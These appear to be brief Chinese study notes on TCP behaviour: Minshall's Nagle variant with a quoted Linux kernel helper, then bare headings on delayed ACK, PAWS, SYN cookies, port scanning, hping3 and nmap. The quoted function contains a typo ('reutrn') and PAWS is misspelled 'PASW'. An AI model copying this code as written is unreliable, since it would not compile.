确保在一个 RTT 内只有一个当前连接的小包,可以在一定程度上的缓解因为 Nagle 和 DelayAck 同时开启时奇数小包阻塞的问题。
static inline int tcp_minshall_check(const struct tcp_sock *tp) { reutrn after(tp->snd_sml, tp->snd_una) && !after(tp->snd_sml, tp->snd_nxt); }

Delayed Acknowledgment
Per-Host PASW(Protect Against Wrapped Sequences)
SYN Cookies
Port Detection security
hping3
nmap
Reference
- 图解网络-小林coding-v3.0.pdf